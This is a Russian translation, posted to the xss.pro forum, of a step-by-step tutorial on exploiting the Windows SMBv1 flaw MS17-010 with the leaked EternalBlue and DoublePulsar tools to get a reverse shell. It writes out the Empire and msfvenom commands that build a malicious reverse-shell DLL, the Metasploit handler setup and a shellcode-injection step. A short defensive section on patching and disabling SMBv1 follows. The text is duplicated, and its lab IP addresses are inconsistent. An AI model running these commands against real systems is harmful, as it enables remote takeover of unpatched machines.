В этом туториале мы будем эксплуатировать уязвимость SMB с помощью эксплойта Eternalblue, который является одним из эксплоитов, недавно опубликованной группой под названием Shadow Brokers. Eternalblue использует уязвимость удаленного выполнения кода в SMBv1 и NBT через TCP-порты 445 и 139. На момент написания он предназначен для широкого спектра операционных систем Windows, от Windows XP до Windows Server 2012. Доступные в настоящее время эксплойты не нацелены на Windows 10 и Windows Server 2016, но, скорее всего, будут в ближайшем будущем, когда они будут изменены.
Eternalblue - это всего лишь один из эксплоитов Windows, который был опубликован в пятницу 14 апреля Shadow Brokers. "Серия" охватывает гораздо больше эксплоитов, таких как Eternalromance, Eternalchampion и Eternalsynergy, предназначенных для последних операционных систем Windows. Для настройки и выполнения эксплоитов по уязвимым целям существует инфраструктура эксплоитов под названием Fuzzbunch. Fuzzbunch разработан на Python 2.6 и имеет много общего с инфраструктурой Metasploit. Далее мы будем устанавливать необходимые компоненты, настраивать Fuzzbunch и узнаем, как выполнить Eternalblue для уязвимых целей. Результатом будет реверсшелл на компьютере с Windows 7 с использованием Empire & Meterpreter.
Eternalblue используется в вымогателях
Со времени утечки Eternalblue уязвимость SMBv1 использовалась во многих атаках вымогателей, таких как: WannaCry, Petya и NotPetya. Вредоносная программа NotPetya была позже классифицирована как скремблирующий файл, притворяясь вымогателем, требуя выкуп в 300 долларов в биткойнах. Правда состоит в том, что после завершения процесса скремблирования файлов нет способа откатить этот процесс. NotPetya был построен, чтобы уничтожать, а не вымогать с жертвы деньги. Чтобы максимизировать ущерб, NotPetya не только уничтожает файлы на хосте жертвы, но также обладает возможностями червя для распространения по сети и Интернету. Вредоносная программа стремится получить доступ администратора, используя инструменты и методы, которые использовались пентестерами в течение длительного времени. Некоторые из этих инструментов являются модифицированной версией Mimikatz, PsExec и WMIC. В отличие от некоторых версий WannaCry, вредоносная программа NotPetya не имеет кнопки уничтожения. Одним из способов предотвращения процесса шифрования файла перед заражением является создание следующего файла только для чтения: C:\Windows\perfc.dat. Этот файл остановит скремблирующую часть вредоносного ПО, но не предотвратит его распространение по сети.
Настройка Fuzzbunch и установка необходимых компонентов
В целях тестирования мы будем использовать частную лабораторную установку, содержащую следующие машины:
Прежде чем мы сможем начать эксплуатировать наш целевой хост в лабораторной сети, нам нужно установить некоторые компоненты на наш компьютер для атаки Windows 7 и компьютер Kali Linux.
Установка необходимых компонентов на компьютере с Windows 7
На компьютере для атаки Windows 7 нам нужно установить Python 2.6 и PyWin32 v212. Установочные файлы можно скачать здесь:
Выполните сначала установочные инструкции для Python, а затем для PyWin32. Убедитесь, что вы устанавливаете PyWin32 от имени администратора, иначе вы можете получить ошибки при запуске сценария после установки. Если вам нужно снова запустить скрипт после установки, он находится в следующем каталоге:
Установка Empire Framework на компьютер с Kali Linux
На компьютере Kali Linux нам нужно установить Empire фреймворк, доступный на Github:
Установить Empire Framework на Kali Linux очень просто, просто запустите скрипт ./setup/install.sh, который установит некоторые зависимости, а затем запустите ./empire, чтобы запустить Empire.
Настройка Fuzzbunch
Следующим шагом является загрузка дампа Shadow Brokers и распаковка его на рабочий стол. Когда вы загрузили дамп с Github, вы должны создать новую папку с именем "listeningspost" в каталоге Windows, которая содержит файл fb.py (Fuzzbunch).
Наконец, отредактируйте файл конфигурации Fuzzbunch с именем fuzzbunch.xml и установите соответствующие параметры ResourcesDir и LogDir:
Теперь мы можем запустить Fuzzbunch, выполнив файл fb.py из командной строки, и он должен работать без ошибок:
Если вы получаете ошибки об отсутствующих DLL или импорте, убедитесь, что PyWin32 правильно установлен и установка успешна завершена.
Настройка и выполнение Eternalblue
Теперь, когда у нас все установлено и запущен Fuzzbunch, ему требуется целевой и обратный IP-адрес. Целевой адрес - это IP-адрес уязвимого целевого хоста, который в нашей лаборатори будет 10.11.1.252 (Уязвимый компьютер с Windows 7). Обратный IP будет IP-адрес узла Windows 7.
Затем нам нужно указать некоторые параметры, относящиеся к перенаправлению и ведению журнала, и создать новый проект в Fuzzbunch. Мы не будем использовать перенаправление, поэтому введите "нет" и нажмите Enter, чтобы продолжить. Оставьте место для логов по умолчанию, нажав клавишу ввода. Затем создайте новый проект, выбрав опцию 4 (или 0, если нет существующих проектов) и назовите его как хотите. Затем выберите использование места регистрации по умолчанию для вашего нового проекта.
Чтобы получить обзор загруженного плагина/эксплойта, введите команду "use".Это отобразит все доступные плагины, которые Fuzzbunch загрузил во время запуска, включая Eternalblue. Чтобы выбрать плагин Eternalblue, введите следующую команду:
Fuzzbunch теперь спрашивает нас, хотим ли мы получить запрос на изменение настроек, выберите "Да". Fuzzbunch теперь будет запрашивать у нас все переменные настройки. Выберите параметры по умолчанию для всех параметров, кроме 1, и это параметр механизма доставки. Выберите опцию 1 "FB" в качестве механизма доставки:
Наконец, он спросит нас, хотим ли мы запустить плагин:
Плагин теперь будет работать, и если все прошло успешно, Fuzzbunch выведет, что Eternalblue работает:
Настройка Empire Listener и DLL реверс шелла
Следующим шагом является настройка прослушивателя в Empire и создание вредоносного DLL-файла, реверс шелл. Оболочку. Сначала мы создадим слушателя, используя следующие команды в командной строке Empire:
Наконец, вы можете использовать команду list для вывода активных слушателей на терминал:
Теперь, когда у нас есть настроенный слушатель для перехвата реверс шелла, осталось только создать вредоносную DLL библиотеку и внедрить ее в уязвимый хост Windows 7. Используйте следующие команды для создания DLL-файла с помощью Empire:
Файл DLL теперь хранится в корневом веб-каталоге. Чтобы перенести DLL в окно атаки Windows 7, просто запустите веб-сервер Apache с помощью следующей команды:
Теперь мы можем загрузить файл DLL с компьютера для атаки Windows 7 с помощью веб-браузера. Давайте сохраним файл launcher.dll в папке Windows.
Msfvenom вредоносная DLL
Вы также можете сгенерировать вредоносную DLL с помощью msfvenom и настроить cлушатель, используя multi-обработчик:
Эта команда успешно сгенерирует полезную нагрузку Meterpreter с msfvenom:
DoublePulsar
Следующий шаг - запустить DoublePulsar и внедрить вредоносный файл launcher.dll. Введите следующую команду в Fuzzbunch, чтобы использовать DoublePulsar:
В нашей практической лаборатории мы нацелены на 64-разрядную уязвимую установку Windows 7. В этом случае нам нужно изменить настройки по умолчанию для архитектуры на 64 бита и оставить все остальные переменные по умолчанию, пока мы не достигнем настроек функции.
Вместо параметра по умолчанию для переменной Function мы решили внедрить и запустить DLL. Вы, наверное, уже догадались, что мы внедряем вредоносную DLL, созданную ранее с помощью Empire. Выберите опцию 2 из настроек функции:
Затем нам нужно указать местоположение файла DLL и некоторые другие параметры, которые мы можем оставить по умолчанию.
Выберите параметры по умолчанию для всех остальных параметров переменных, пока Fuzzbunch не спросит нас, хотим ли мы выполнить DoublePulsar:
Если все прошло успешно, вывод должен выглядеть следующим образом:
Когда мы переключаемся на виртуальную машину Kali Linux, на которой работает слушатель Empire, у нас должен быть реверсшелл от целевого хоста, с которой мы не можем взаимодействовать:
Переходим с Empire на оболочку Meterpreter в Metasploit
Посмотрим, сможем ли мы перейти с оболочки "Empire" на Metasploit Meterpreter. Выполните следующие команды для настройки слушателя:
Теперь, когда запущен мульти-обработчик, вернитесь в Empire и выполните следующие команды:
Когда мы снова переключимся на Metasploit, мы должны были получить оболочку Meterpreter:
Патчинг и защита
Eternalblue был пропатчен Microsoft в марте 2017 года.Если вы не установили патч, очень рекомендуется сделать это за короткий срок. Другой эффективный метод - отключить SMBv1 на ваших компьютерах с Windows.
Чтобы отключить SMBv1 в Windows 8 и Windows Server 2012, откройте Windows Powershell и выполните следующую команду, чтобы отключить SMBv1:
Используйте следующую команду, чтобы проверить, отключен ли SMBv1:
Выполните следующий командлет в PowerShell, чтобы отключить SMBv1 в Windows 7, Windows Server 2008 R2, Windows Vista и Windows Server 2008:
Уроки выучены
Из этого руководства мы узнали, как удаленно использовать уязвимость в SMBv1 с помощью Eternalblue. Несмотря на то, что использовать Eternalblue немного сложнее, чем MS08-067, результаты все те же. В этом уроке мы продемонстрировали, как легко использовать Windows 7 и получить рут шелл. Дополнительную информацию о Eternalblue можно найти на веб-сайте CVE в разделе CVE-2017-0143 и в бюллетене по безопасности Microsoft MS17-010.
Мы надеемся, что вы нашли этот туториал полезным для образовательных целей. Надеемся, что мы поняли, почему регулярное обновление вашей системы Windows так важно и почему в наши дни нецелесообразно использовать старые технологии, такие как SMBv1. Другой урок, полученный здесь, заключается в том, почему вы не должны предоставлять услуги SMB/RDP Интернету. Удаленная эксплуатация Eternalblue возможна через Интернет и в настоящее время происходит в больших масштабах с помощью программ-вымогателей WanaCry и NotPetya, заражающих тысячи машин.
Давайте подведем итоги усвоенных уроков:
В следующих уроках мы рассмотрим эксплоиты , которые были расскрыты Shadow Brokers.
Источник: https://www.hackingtutorials.org/ex...eternalblue-for-shell-with-empire-msfconsole/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
Eternalblue - это всего лишь один из эксплоитов Windows, который был опубликован в пятницу 14 апреля Shadow Brokers. "Серия" охватывает гораздо больше эксплоитов, таких как Eternalromance, Eternalchampion и Eternalsynergy, предназначенных для последних операционных систем Windows. Для настройки и выполнения эксплоитов по уязвимым целям существует инфраструктура эксплоитов под названием Fuzzbunch. Fuzzbunch разработан на Python 2.6 и имеет много общего с инфраструктурой Metasploit. Далее мы будем устанавливать необходимые компоненты, настраивать Fuzzbunch и узнаем, как выполнить Eternalblue для уязвимых целей. Результатом будет реверсшелл на компьютере с Windows 7 с использованием Empire & Meterpreter.
Eternalblue используется в вымогателях
Со времени утечки Eternalblue уязвимость SMBv1 использовалась во многих атаках вымогателей, таких как: WannaCry, Petya и NotPetya. Вредоносная программа NotPetya была позже классифицирована как скремблирующий файл, притворяясь вымогателем, требуя выкуп в 300 долларов в биткойнах. Правда состоит в том, что после завершения процесса скремблирования файлов нет способа откатить этот процесс. NotPetya был построен, чтобы уничтожать, а не вымогать с жертвы деньги. Чтобы максимизировать ущерб, NotPetya не только уничтожает файлы на хосте жертвы, но также обладает возможностями червя для распространения по сети и Интернету. Вредоносная программа стремится получить доступ администратора, используя инструменты и методы, которые использовались пентестерами в течение длительного времени. Некоторые из этих инструментов являются модифицированной версией Mimikatz, PsExec и WMIC. В отличие от некоторых версий WannaCry, вредоносная программа NotPetya не имеет кнопки уничтожения. Одним из способов предотвращения процесса шифрования файла перед заражением является создание следующего файла только для чтения: C:\Windows\perfc.dat. Этот файл остановит скремблирующую часть вредоносного ПО, но не предотвратит его распространение по сети.
Настройка Fuzzbunch и установка необходимых компонентов
В целях тестирования мы будем использовать частную лабораторную установку, содержащую следующие машины:
- Windows 7 64-битный как уязвимый хост. IP: 10.11.1.253
- Windows 7 как первая машине атаки под управлением Fuzzbunch. IP: 10.11.1.251
- Kali Linux как вторая машина атаки, работающая на имперском фреймворке. IP: 10.11.1.16
Прежде чем мы сможем начать эксплуатировать наш целевой хост в лабораторной сети, нам нужно установить некоторые компоненты на наш компьютер для атаки Windows 7 и компьютер Kali Linux.
Установка необходимых компонентов на компьютере с Windows 7
На компьютере для атаки Windows 7 нам нужно установить Python 2.6 и PyWin32 v212. Установочные файлы можно скачать здесь:
- Python 2.6: https://www.python.org/download/releases/2.6/
- PyWin32 v212: https://sourceforge.net/projects/pywin32/files/pywin32/Build 212/
Выполните сначала установочные инструкции для Python, а затем для PyWin32. Убедитесь, что вы устанавливаете PyWin32 от имени администратора, иначе вы можете получить ошибки при запуске сценария после установки. Если вам нужно снова запустить скрипт после установки, он находится в следующем каталоге:
C: \Python26\Scripts
Установка Empire Framework на компьютер с Kali Linux
На компьютере Kali Linux нам нужно установить Empire фреймворк, доступный на Github:
https://github.com/EmpireProject/EmpireEmpire framework: https://github.com/EmpireProject/Empire
Установить Empire Framework на Kali Linux очень просто, просто запустите скрипт ./setup/install.sh, который установит некоторые зависимости, а затем запустите ./empire, чтобы запустить Empire.
Настройка Fuzzbunch
Следующим шагом является загрузка дампа Shadow Brokers и распаковка его на рабочий стол. Когда вы загрузили дамп с Github, вы должны создать новую папку с именем "listeningspost" в каталоге Windows, которая содержит файл fb.py (Fuzzbunch).
Наконец, отредактируйте файл конфигурации Fuzzbunch с именем fuzzbunch.xml и установите соответствующие параметры ResourcesDir и LogDir:
Теперь мы можем запустить Fuzzbunch, выполнив файл fb.py из командной строки, и он должен работать без ошибок:
Если вы получаете ошибки об отсутствующих DLL или импорте, убедитесь, что PyWin32 правильно установлен и установка успешна завершена.
Настройка и выполнение Eternalblue
Теперь, когда у нас все установлено и запущен Fuzzbunch, ему требуется целевой и обратный IP-адрес. Целевой адрес - это IP-адрес уязвимого целевого хоста, который в нашей лаборатори будет 10.11.1.252 (Уязвимый компьютер с Windows 7). Обратный IP будет IP-адрес узла Windows 7.
Затем нам нужно указать некоторые параметры, относящиеся к перенаправлению и ведению журнала, и создать новый проект в Fuzzbunch. Мы не будем использовать перенаправление, поэтому введите "нет" и нажмите Enter, чтобы продолжить. Оставьте место для логов по умолчанию, нажав клавишу ввода. Затем создайте новый проект, выбрав опцию 4 (или 0, если нет существующих проектов) и назовите его как хотите. Затем выберите использование места регистрации по умолчанию для вашего нового проекта.
Чтобы получить обзор загруженного плагина/эксплойта, введите команду "use".Это отобразит все доступные плагины, которые Fuzzbunch загрузил во время запуска, включая Eternalblue. Чтобы выбрать плагин Eternalblue, введите следующую команду:
use Eternalblue
Fuzzbunch теперь спрашивает нас, хотим ли мы получить запрос на изменение настроек, выберите "Да". Fuzzbunch теперь будет запрашивать у нас все переменные настройки. Выберите параметры по умолчанию для всех параметров, кроме 1, и это параметр механизма доставки. Выберите опцию 1 "FB" в качестве механизма доставки:
Наконец, он спросит нас, хотим ли мы запустить плагин:
Плагин теперь будет работать, и если все прошло успешно, Fuzzbunch выведет, что Eternalblue работает:
Настройка Empire Listener и DLL реверс шелла
Следующим шагом является настройка прослушивателя в Empire и создание вредоносного DLL-файла, реверс шелл. Оболочку. Сначала мы создадим слушателя, используя следующие команды в командной строке Empire:
Наконец, вы можете использовать команду list для вывода активных слушателей на терминал:
Теперь, когда у нас есть настроенный слушатель для перехвата реверс шелла, осталось только создать вредоносную DLL библиотеку и внедрить ее в уязвимый хост Windows 7. Используйте следующие команды для создания DLL-файла с помощью Empire:
usestager dll Eternalblue
set Arch x64
set OutFile /var/www/html/launcher.dll
execute
Файл DLL теперь хранится в корневом веб-каталоге. Чтобы перенести DLL в окно атаки Windows 7, просто запустите веб-сервер Apache с помощью следующей команды:
service apache2 start
Теперь мы можем загрузить файл DLL с компьютера для атаки Windows 7 с помощью веб-браузера. Давайте сохраним файл launcher.dll в папке Windows.
Msfvenom вредоносная DLL
Вы также можете сгенерировать вредоносную DLL с помощью msfvenom и настроить cлушатель, используя multi-обработчик:
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll
Эта команда успешно сгенерирует полезную нагрузку Meterpreter с msfvenom:
DoublePulsar
Следующий шаг - запустить DoublePulsar и внедрить вредоносный файл launcher.dll. Введите следующую команду в Fuzzbunch, чтобы использовать DoublePulsar:
use DoublePulsar
В нашей практической лаборатории мы нацелены на 64-разрядную уязвимую установку Windows 7. В этом случае нам нужно изменить настройки по умолчанию для архитектуры на 64 бита и оставить все остальные переменные по умолчанию, пока мы не достигнем настроек функции.
Вместо параметра по умолчанию для переменной Function мы решили внедрить и запустить DLL. Вы, наверное, уже догадались, что мы внедряем вредоносную DLL, созданную ранее с помощью Empire. Выберите опцию 2 из настроек функции:
Затем нам нужно указать местоположение файла DLL и некоторые другие параметры, которые мы можем оставить по умолчанию.
Выберите параметры по умолчанию для всех остальных параметров переменных, пока Fuzzbunch не спросит нас, хотим ли мы выполнить DoublePulsar:
Если все прошло успешно, вывод должен выглядеть следующим образом:
Когда мы переключаемся на виртуальную машину Kali Linux, на которой работает слушатель Empire, у нас должен быть реверсшелл от целевого хоста, с которой мы не можем взаимодействовать:
Переходим с Empire на оболочку Meterpreter в Metasploit
Посмотрим, сможем ли мы перейти с оболочки "Empire" на Metasploit Meterpreter. Выполните следующие команды для настройки слушателя:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 10.11.1.16
set lport 5555
run
Теперь, когда запущен мульти-обработчик, вернитесь в Empire и выполните следующие команды:
usemodule code_execution/invoke_shellcode
set Lhost 10.11.1.16
set Lport 5555
execute
Когда мы снова переключимся на Metasploit, мы должны были получить оболочку Meterpreter:
Патчинг и защита
Eternalblue был пропатчен Microsoft в марте 2017 года.Если вы не установили патч, очень рекомендуется сделать это за короткий срок. Другой эффективный метод - отключить SMBv1 на ваших компьютерах с Windows.
Чтобы отключить SMBv1 в Windows 8 и Windows Server 2012, откройте Windows Powershell и выполните следующую команду, чтобы отключить SMBv1:
Set-SmbServerConfiguration -EnableSMB1Protocol $false
Используйте следующую команду, чтобы проверить, отключен ли SMBv1:
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol
Выполните следующий командлет в PowerShell, чтобы отключить SMBv1 в Windows 7, Windows Server 2008 R2, Windows Vista и Windows Server 2008:
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force
Уроки выучены
Из этого руководства мы узнали, как удаленно использовать уязвимость в SMBv1 с помощью Eternalblue. Несмотря на то, что использовать Eternalblue немного сложнее, чем MS08-067, результаты все те же. В этом уроке мы продемонстрировали, как легко использовать Windows 7 и получить рут шелл. Дополнительную информацию о Eternalblue можно найти на веб-сайте CVE в разделе CVE-2017-0143 и в бюллетене по безопасности Microsoft MS17-010.
Мы надеемся, что вы нашли этот туториал полезным для образовательных целей. Надеемся, что мы поняли, почему регулярное обновление вашей системы Windows так важно и почему в наши дни нецелесообразно использовать старые технологии, такие как SMBv1. Другой урок, полученный здесь, заключается в том, почему вы не должны предоставлять услуги SMB/RDP Интернету. Удаленная эксплуатация Eternalblue возможна через Интернет и в настоящее время происходит в больших масштабах с помощью программ-вымогателей WanaCry и NotPetya, заражающих тысячи машин.
Давайте подведем итоги усвоенных уроков:
- Пропатчите Eternalblue путем установки обновления Windows MS17-010.
- Отключить SMBv1.
- Изолировать устаревшие системы от сети, которые не могут быть пропатчены.
- Никогда не выставляйте сервисы SMB/RDP непосредственно в Интернет.
- Создайте следующий файл только для чтения, чтобы предотвратить запуск процесса скремблирования файла NotPetya: C:\Windows\perfc.dat
В следующих уроках мы рассмотрим эксплоиты , которые были расскрыты Shadow Brokers.
Источник: https://www.hackingtutorials.org/ex...eternalblue-for-shell-with-empire-msfconsole/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
